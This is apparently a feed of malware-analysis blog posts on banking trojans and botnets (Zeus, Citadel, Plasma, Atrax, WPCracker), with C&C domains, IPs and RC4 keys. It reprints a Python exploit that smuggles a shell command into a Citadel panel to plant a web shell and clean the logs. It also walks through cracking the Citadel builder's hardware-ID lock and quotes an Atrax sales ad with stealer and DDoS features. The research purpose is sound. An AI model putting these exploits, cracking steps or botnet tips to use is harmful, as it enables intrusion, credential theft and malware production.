RC4: E2 82 3E B3 04 11 15 34 17 64 01 DC 7D B8 A5 35 CB 00 19 AA 81 59 6E 1B 85 7E 44 CA 10 90 40 2A C3 36 20 C5 C2 55 E6 F4 43 67 5B 42 4D 21 98 D4 78 70 1A 6F 72 24 88 B4 0A E7 B9 BC C1 8E 8F 79 86 CC 5F 46 FC A9 1C F0 74 E0 C0 3F 8D DD EC 4C 66 A0 02 97 C6 99 BB 7F 0D A8 3A 27 07 E8 75 80 28 54 93 D3 BD 2C EA 9D F6 0B 45 2E F1 EB A3 0E 9E BA 4B 9F 09 89 56 29 C4 48 23 14 2F DA F5 39 3B 8C CD 2B 37 41 A2 95 0F C9 BE AD F8 D7 DE C8 B5 0C 76 51 DF 5D B2 D6 AC 83 52 08 50 92 E1 B0 9C AE CF E4 ED B1 5E 7C 6A 96 65 26 87 2D 12 8A 9A A4 FF 94 D2 7A C7 47 31 7B EE CE DB 32 B7 06 D1 F2 EF AB AF 3C 18 84 E3 22 61 03 3D D9 9B 05 58 D8 30 F7 F3 B6 62 8B 1E 6C 71 FA 4A 4E 63 60 4F 16 6D 25 FB 53 FD 13 33 D0 E9 73 68 F9 69 A6 38 57 6B 5A 49 1D A1 A7 1F BF 5C D5 E5 91 77 FE

Drop Point: http://localhost/gate.php

Infection Point: http://localhost/bot.exe

Update Points:

https://koloboktv.com/?ajax (static config)

https://securestakan2.net/?ajax (dynamic config)

https://securemagnit5.net/?ajax (dynamic config)

WebInjects:

https://pikachujp.com/oz1/service.in?id=50

https://pikachujp.com/oz1/service.in?id=44

https://pikachujp.com/oz1/service.in?id=43

https://pikachujp.com/oz1/service.in?id=41

https://pikachujp.com/oz1/service.in?id=7

https://pikachujp.com/oz1/service.in?id=6

https://pikachujp.com/oz1/service.in?id=4

https://pikachujp.com/oz1/service.in?id=3

https://pikachujp.com/oz1/service.in?id=2

https://pikachujp.com/oz1/service.in?id=1

https://koloboktv.com/id/351

https://koloboktv.com/id/350

https://koloboktv.com/id/51

https://koloboktv.com/id/10

Sample: 7fb62987f20b002475cb1499eb86a1f5

Version: 1.1.2.1

RC4: 30 72 E6 32 80 EF BD 92 BE DD 3B 1C 58 45 33 2F 41 53 A9 26 8E 20 4D 8A DB 6A F6 8B CE 4C B6 38 02 2B 6C 15 A1 2C 2D C2 ED 0E BB BF 64 40 F1 9F D2 36 07 C3 CF 8D AA D3 A5 42 C0 9B 48 49 67 81 98 75 51 1B 96 6E 97 4A 59 DE 44 65 85 7B 35 16 0C 23 4F FE 5B FA D7 84 A7 46 EE 82 DF E1 6B AD 94 CB 18 C4 8C 0F E7 00 E0 7E CA 24 1A 7A A6 73 3C 03 F5 9C EA 1E FB D4 0B 14 11 22 06 F4 6D 55 E5 93 F9 E2 69 D5 CD 27 E8 12 C8 77 0D 08 A2 B7 0A 01 D8 EB 3F AB 3A 61 83 04 86 CC FD F3 5F 63 09 AC AF 66 17 B9 56 19 F2 C7 47 43 25 1D 89 29 99 2E C1 87 54 C9 62 34 74 4B A0 B1 3E 21 57 52 2A 39 FF 05 BC C6 A4 4E 3D 9D E3 D9 BA 76 5C AE A3 FC B4 B3 D6 28 5A 68 F7 31 7D 7F E4 1F 37 D1 90 B5 B0 D0 C5 79 DA 13 71 A8 7C EC F8 E9 60 50 88 78 70 10 B2 5E 8F 6F 9A B8 95 DC 9E 91 F0 5D

Update Point:

https://securestatic.com/?ajax (static config)

All these samples use the same IP range:
• dns: 1 ›› ip: 37.228.92.170 - adress: SECURE730.COM
• dns: 1 ›› ip: 37.228.92.169 - adress: SECUREINFORMAT.COM
• dns: 1 ›› ip: 37.228.92.148 - adress: SHLYXIEST.BIZ
• dns: 1 ›› ip: 37.228.92.147 - adress: SECURESTATIC.COM
• dns: 1 ›› ip: 37.228.92.146 - adress: KOLOBOKTV.COM

I've wrote a small yara rule in hope to see more of these.
All configs that i grabbed was reporting to localhost not to a server...

Plasma HTTP

noreply@blogger.com (Steven K) — Fri, 14 Feb 2014 22:19:00 +0000

Advert:

Online bot:

offline bots:

Commands:

Statistics:

Logs:

Yeah take this lame article to second degree, i just talk about Plasma because i've promised to write something today on irc.

I'm not dead but there nothing interesting to review for the moment, only crappy bots
That also one of the reason i haven't talked of JackPos and all the rest.
I have some interesting things but it's too sensitive for the moment and when it's not the reason, it's due to people who request me to don't talk of a subject because they want to cover it 'first' for their company but who finaly write nothing, so i still wait (you know who you are)
e.g: ZeusVM, i wanted to talk about the weird version who appeared since some months now
a version who download from sites (on ssl and fastflux) a picture with a config embedded inside.. but well, fuck it now.
As i already told on a previous article, i may appear inactive but i'm not so inactive.
I've recently do this, i still continue to posts malwares, break things but without necessarily talking about it or just briefly like for jackTrash, and today: PlasmaTrash, and iTrashing.
I still continue to do trashy video, show trashy things on my hackerspace and talk about trashs on irc. (yeah that a lot of trash)
So for the moment, i just wait and see...

Decoding Zeus 2.9.6.1 dynamic config

noreply@blogger.com (Steven K) — Sat, 11 Jan 2014 17:18:00 +0000

I got a look on the zeus builder who was released by the MMBB guy on exploit.in, finally i'm decided to write something about it, so let's talk about the change in the config encryption.

MD5: 0a05783316e7f765e731aadf5098564f

This version use AES instead of RC4 and can interact with the latest version of Firefox.
Anyway it's nothing more than a basic Zeus v2.

iBank parser on the panel, monitoring of process:

About the panel, the released version require Ioncube loader (nvm, the gate code can be recovered easily)

Now let's view an example of report from modules, keylog+screenshot:

Part of the static config (in plain on generated bot):

Installation process/dynamic config decoding (beware, dubstep):

And a small code because it's easier to understand:

<?php

    function decode($data, $key) {

        $td = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_ECB, '');

        $iv = mcrypt_create_iv(mcrypt_enc_get_iv_size($td), MCRYPT_RAND);

        mcrypt_generic_init($td, $key, $iv);

        mcrypt_generic($td, $data);

        $data = mdecrypt_generic($td, $data);

        mcrypt_generic_deinit($td);

        mcrypt_module_close($td);

        return $data;

    }

    function visualDecrypt(&$data) {

        $len = strlen($data);

        if ($len > 0)

            for ($i = $len - 1; $i > 0; $i--)

                $data[$i] = chr(ord($data[$i]) ^ ord($data[$i - 1]));

    }

    $data    = file_get_contents('config.bin');

    $key     = md5('hasd7h12g1', true);

    $decoded = decode($data, $key);

    visualDecrypt($decoded);

    $size = strlen($decoded);

    header('Content-Type: application/octet-stream;');

    header('Content-Transfer-Encoding: binary');

    header('Content-Length: ' . $size);

    header('Content-Disposition: attachment; filename=config_decrypted.dll');

    header('Expires: 0');

    header('Cache-Control: no-cache, must-revalidate');

    header('Pragma: no-cache');

    echo($decoded);

    exit; 

?>

You can find the decoded modules here:
JAVA: 7d7ae6ffbd9f3c7673b339f9b94493e5
BSS: cc98dabebe047c6115a6cd9d13ed3122
KEYLOG: 8ac1c7c019d16ff3b8a9543d46ae5e0e

And if you want to test yourself the WebInject, i usually use this code:

set_url http://requesttests.appspot.com* GP

data_before

</body>

data_end

data_inject

<center><img src="http://temari.fr/webinject.png" alt="Injected!"></center>

data_end

data_after

data_end

/facepalm

Troj/WowSpy-A

noreply@blogger.com (Steven K) — Fri, 10 Jan 2014 00:10:00 +0000

Recently a malware who target World of Warcraft got identified.
This threat is known as Disker, Mal/DllHook-A or Trojan.Siggen5.64266 and can steal player accounts even if they use a Battle.net Authenticator.
Yes, this is another post about password stealer mawlare...

There is no option to retain password on the WoW client.

The method used to spread this malware is by fake websites leading to malicious download.
The Trojan is bundled with legit programs such as WowMatrix or Curse Client, used by players to manage their AddOns.

Malicious Wowmatrix installer. (DCDD6986941B2B4E78A558CAB3ACF337)

Fake sites:
• dns: 1 ›› ip: 142.4.105.98 - adress: WWW.CURSE.PW
• dns: 1 ›› ip: 142.4.105.98 - adress: WWW.WOWMATRIX.PW
• dns: 1 ›› ip: 142.4.105.99 - adress: WWW.WOWMATRIX.PW.PW

Blizzard released a statement due to this new threat:

I don't know how work the dll for the moment (at least a bit)
My debugger got some stability issue when handling wow.exe but i will get back on this, the mechanism seem interesting (and they even use OutputDebugString!).

Network trafic after login in:

C&C (in Chinese):

Compromised accounts:

That all for the moment :)

Jolly Roger Stealer

noreply@blogger.com (Steven K) — Thu, 02 Jan 2014 19:48:00 +0000

Friend Kafeine have already do a post on it, although someone recently sent me a url on my cybercrime tracker.. i give a f%$k
• dns: 1 ›› ip: 178.162.193.24 - adresse: LOADER.ISTMEIN.DE

Bot statistic:

CPU "Arhitecture"

Task:

Search module:

HTTP:

Mail:

Create task:

Task statistic:

I haven't looked at a sample because i don't have it but sound very lame, like Plasma HTTP who grab everything without checking if there is already a double.

How the protection of Citadel got cracked

noreply@blogger.com (Steven K) — Tue, 31 Dec 2013 13:28:00 +0000

Recently on a forum someone requested cbcs.exe (Citadel Backconnect Server)

If you want to read more about the Backconnect on Citadel, the link that g4m372 shared is cool: http://laboratoriomalware.blogspot.de/2012/12/troyan-citadel-backconnect-windows.html

I've searched this file thought downloading a random mirror of the Citadel leaked package in hope to find it inside.

Finally the file wasn't on the leaked archive but was already grabbed by various malware trackers.
MD5: 50A59E805EEB228D44F6C08E4B786D1E
Malwarebytes: Backdoor.Citadel.BkCnct

And since i've downloaded the leaked Citadel package... let's see about the Builder.
It can be interesting to make a post about it.

Citadel.exe: a33fb3c7884050642202e39cd7f177e0
Malwarebytes: Hacktool.Citadel.Builder

"ERROR: Builder has been moved to another PC or virtual environment, now it is deactivated."

This file is packed with UPX:

Same for the Citadel Backconnect Server and the Hardware ID generator.
But when we try to unpack it via UPX we have an exception:

UPX told us that there is something wrong with the file header, aquabox used a lame trick.
With an hexadecimal editor we can clearly see that there is a problem with the DOS Header:

We have 0x4D 0x5A ... 00 ... and a size of 0xE8 for the memory.
e_lfanew is null, so let's fix it at 18h by 0x40
Miracle:

Same tricks for the Hardware ID Calculator and the Citadel Backconnect Server, i will get back on these two files later.
Now that we have a clear code we can know the Time/Date Stamp, view the ressources, but more interesting: see how Citadel is protected

Viewing the strings already give us a good insight:

PHYSICALDRIVE0, Win32_BIOS, Win32_Processor, SerialNumber...

But we don't even really need to waste time trying to know how the generation is made.
Although you can put a breakpoint at the beginning of the calculation procedure (0x4013F2)
At the end, you will be here, this routine will finalise your HID:

From another side, you can also have a look on the Hardware ID Calculator.

I've got a problem with this file, the first layer was a SFX archive:

Malware embedded (stealer):

Conclusion: Don't rush on leaked stuff.

Alright, now that you have extracted/unpacked the good HID Calculator you can open it in olly.
The code is exactly the same as the one you can find on the Citadel Builder, it may help to locate the calculation procedure on the builder although it's really easy to locate it.

That was just a short parentheses, to get back on the builder, after that the generation end you will have multiple occasions to view your HID on the stack like here:

And the crutial part start here.

When the Citadel package of Citab got leaked (see this article for more information) an important file was also released:

The HID of the original machine who was running the builder, so you just have to replace your HID by this one, just like this:

And this is how the protection of Citadel become super weak and can generate working malwares

Now you just have to do a codecave or inject a dll in order to modify it permanently, child game.

The problem that every crackers was facing on leaked Citadel builders is to find the good HID key.
Citadel builders who was previously leaked wasn't leaked with HID key.
e.g: vortex1772_second - 1.3.5.1

And you can't just 'force' the procedure to generate a bot because the Citadel stub is encrypted inside, that why when the package got leaked with the correct HID, a easy way to crack the builder appeared.
Without having the good HID you can still bruteforce it till you break the key but this is much harder and time wasting, this solution would be also a more great achievement and respected in scene release.

To finish, let's get back on the Citadel backconnect server who was requested on kernelmode.info

This script was also leaked with the Citab package:

It's for Windows box, and it's super secure... oh wait..

import urllib

import urllib2

def request(url, params=None, method='GET'):

    if method == 'POST':

        urllib2.urlopen(url, urllib.urlencode(params)).read()

    elif method == 'GET':

        if params == None:

            urllib2.urlopen(url)

        else:

            urllib2.urlopen(url + '?' + urllib.urlencode(params)).read()

def uploadShell(url, filename, payload):

    data = {

        'b'  : 'tapz',

        'p1' : 'faggot',

        'p2' : 'hacker | echo "' + payload + '" >> ' + filename

    }

    request(url + 'test.php', data)

def shellExists(url):

    return urllib.urlopen(url).getcode() == 200

def cleanLogs(url):

    delete = {

        'delete' : ''

    }

    request(URL + 'control.php', delete, 'POST')

URL      = 'http://localhost/citadel/winserv_php_gate/'

FILENAME = 'shell.php'

PAYLOAD  = '<?php phpinfo(); ?>'

uploadShell(URL, FILENAME, PAYLOAD)

print '[~] Shell created!'

if not shellExists(URL + FILENAME):

    print '[-]', FILENAME, 'not found...'

else:

    print '[+] Go to:', URL + FILENAME

cleanLogs(URL)

print '[~] Logs cleaned!'

Brief, happy new year guys :)

Win32/BruteForce.WP

noreply@blogger.com (Steven K) — Fri, 20 Dec 2013 20:44:00 +0000

DrWeb released a news about this malware in August, they know it as 'Trojan.WPCracker.1'
And more recently ~ 1e8cd0f0f1702820c870302520bc0176.

This executable communicate with a C&C at dorblu99.net

Let's have a closer look.

Login:

Main:

Bot info:

Broken wordpress:

Statistics:

Add domains:

Add admin panels:

Add logins:

Add passwords:

Add module for jm(zip):

Add module for wp(zip):

Add shell jm(php):

Cron brute:

Ban list:

Logs:

Domains list (downloaded by the malware to know wich wordpress he should brute force):

36k urls.

Roman of abuse.ch have also wrote an interesting post about this threat.

Win32/Atrax.A

noreply@blogger.com (Steven K) — Fri, 06 Dec 2013 19:03:00 +0000

Atrax is a TOR botnet, you can read about it on the excellent post of Aleksandr.
Someone on kernelmode.info posted recently a fresh sample:

MD5: 44a6a7d4a039f7cc2db6e85601f6d8c1

Fun things also, the coder leaved a message:

"Nice blog post ESET 2013/07/24 Greetz to KernelMode.info"

Atrax advertising:

Programming language: C (No C++!)

OS: Win XP - 8.1 (all x86/x64)

Admin rights required: No

Special: Tor Integration, spawns no process -> x64/x86 Process injection, this is the first public bot which supports windows 8!

File size: ~1,2 MB (because of Tor integration and x64/x86 Code), you can get a free assembler web downloader ~2KB

Why Tor?

The bot communicates only via Tor with your panel. With Tor you can get a really nice anonymous Botnet. It is almost impossible (well, theoretically it is possible, but Silkroad is still online, so don’t worry) to get your server ip and put your server down. You get a Tor onion domain and this domain cannot be blacklisted (lasts “forever”). So to sum up: If you don’t do any configuration mistakes, your botnet will probably last very long.

You need a VPS or a dedicated server to host this tor botnet, because you need to set up a hidden service. Because of tor the botnet is consuming more hardware resources than typical botnets. Probably it is not possible to get a 10 Dollar/year VPS and trying to host over 1k victims.

Setting up hidden service instructions:

- https://www.torproject.org/docs/tor-hidden-service.html.en

- http://kendildonic.wordpress.com/2011/08/03/build-a-tor-hidden-service-onion-web-site-with-a-cheap-vps/

- A little manual to set it up on debian based linux systems is included

The bot consist of a core and various plugins/addons. Each plugin/addon costs some money. Every plugin also communicates over tor.

(If somebody is interested in developing a plugin -> contact me)

Some basic features:

- Autostart, Persistence

- x86/x64 Code, x86/x64 Injection with Heavens Gate technique

- Anti-Analyzer (Protection against e.g. anubis.iseclab.org, malwr.com)

- If you need: Anti-VM (Please request it explicitly)

- Anti-Debug/Anti-Hook Engine

- Doesn't use suspicious windows apis like GetProcAddress/GetModuleHandle

- Plugins are saved to disk with AES-128-CBC encryption (random key)

- Communication over tor is already encrypted, so no extra communication encryption

- Every Plugin and the core is watermarked. Leak -> No updates/support. (All updates are free)

- Everything UNICODE

Panel:

- http://www0.xup.in/exec/ximg.php?fid=11907674

- http://www0.xup.in/exec/ximg.php?fid=68935688

- http://www0.xup.in/exec/ximg.php?fid=20127007

- http://pixs.ru/showimage/2ci7png_4898170_9693543.png

- http://pixs.ru/showimage/ekahjpg_4965220_9693535.jpg

- Login Bruteforce protection, panel will be locked after x failed logins (captchas are not secure)

- SQL-Injection proof

- No IonCube

Standard Features:

- Kill

- Update

- Download (over Tor), Execute (Commandline-Parameter allowed)

- Download (over Tor), Execute (Commandline-Parameter allowed) in memory (Your file doesn't need to be FUD)

- Install Plugin

- Installation List (A list with all installed applications)

The Core has only a few functions, but they are already pretty useful. Yes you can e.g. start your own uncrypted Bitcoin Miner with the "Download over Tor, Execute Memory" function.

I will give you a plain bitcoin miner exe or just use the binaries you can find in this board.

A bot addon is integrated in the main EXE, so no extra file.

A bot plugin is not integrated, you will receive extra file(s).

Addon - DDOS:

- Full IPv6 ´+ IPv4 support.

- UDP Flood

- TCP Flood

- TCP Connect Flood (Some idiots call this "SYN-Flood")

- HTTP Slowloris (based on http://ckers.org/slowloris/)

- HTTP RUDY (R-U-Dead-Yet, based on https://code.google.com/p/r-u-dead-yet/)

- HTTP File Download (Good if your target hosts a file >1MB)

- If you need some more methods, contact me.

Addon - Form Grabber:

- Firefox, Internet Explorer x86/x64, Chrome SSL HTTP POST Grabber

- Anti-Hook Engine (Removes hooks from other bots)

- Own Hook Engine (No copy/paste crap)

- Tested with Browser: Internet Explorer v7/v9/v10, Firefox v11/v21/v22/v24, Chrome v27/v30

- Tested with Website: PayPal, Amazon, Bitcoin.de, Mt. Gox, eBay, Googlemail, vBulletin Boards

- SPDY v3 support

- IE 7/8/9/10 (Enhanced) Protected Mode Support

- Grabs only important POST Form Requests.

- Searches automatically for Username/Password/Email and CC (Possible CC will be displayed in panel)

- Screenshot: http://www0.xup.in/exec/ximg.php?fid=24471254

Addon - Socks 5 Reverse Socks:

- You need a 2nd VPS/dedicated Server to keep your main C&C server secure!

- Server is a Java application to achieve complete platform independence -> All OS supported!

- Socks 5 with and without authentication

- Controlled via tasks

- You can run different instances of the proxy sever for different purposes

- Works on all clients because it is a reverse socks (No SSH crap!)

- Panel screenshot: http://www0.xup.in/exec/ximg.php?fid=15537396

Plugin - Stealer:

- Steals all current browser versions.

- Steals: CHROME, FIREFOX, SAFARI, INTERNET EXPLORER, OPERA, FILEZILLA, PIDGIN, JDOWNLOADER v1 + v2, GIGATRIBE, THUNDERBIRD, WINDOWSKEY, FLASHFXP, ICQ, MSN, WINDOWS LIVE, OUTLOOK, PALTALK, STEAM Username Only, TRILLIAN, MINECRAFT, DYNDNS, SMARTFTP, WSFTP, Bitcoin Wallet (Armory, Bitcoin-Qt, Electrum, Multibit)

- If you need something more -> ask me.

- Special: JDownloader v1/v2, Bitcoin Wallet Stealer (whole wallet.dat will be uploaded), IE10 + IE11 support!

Plugin - Coin Mining (Experimental)

- Bitcoin / Litecoin Miner

- Hash Rate displayed in panel

- Based on Ufasoft Miner v0.68 (updated regularly)

- Mining with tasks http://www0.xup.in/exec/ximg.php?fid=60729560

Price:

Core: $250 (Launch price! Read information below)

Addon DDOS: $90

Addon Form Grabber: $300

Addon Reverse Socks: $400

Plugin Stealer: $110

Plugin Coin Mining: $140 (Experimental)

Payment only with Bitcoin. Market price from https://www.bitcoin.de "Current Bitcoin price" - 10%, because of high exchange rate fluctuations!

Bugfix Updates and Support is free of course.

Please keep in mind: This Core Price will be higher soon. This Bot is currently in beta stage, so probably there are still some bugs. Get it now pay less + maybe bugs, wait: pay more and bot is stable

- Builder available?

No, your tor domain will last forever if you don't lose the RSA key.

- Is the bot bin FUD?

No, you need a crypter. This bot should work with all crypters, but .NET Crypters are special. Tell me what .NET crypter you want to use and we will see.

I can give you a free .NET Crypter to get you started!

- The bot is too expensive, noob!

I don't care if you think it is too expensive.

- The filesize sucks, noob!

I don't care.

Alright, let's have a look on the C&C of the sample posted on kernelmode.

estrgnejb7sjly7p.onion >> 46.183.219.xxx

The httpd is not properly configured to run with the IP

So, let's have a look from TOR.

Login:

Statistics:

Plugin statistics:

Spreader statistic:

Bots:

Bot legend:

Bot information:

AtraxStealer plugin logs:

Formgrabber plugin logs:

Formgrabber plugin logs detail:

Plugins:

Tasks:

Create a new task:

Task setting for 'Download & Execute':

Task execution:

Edit a task:

Settings: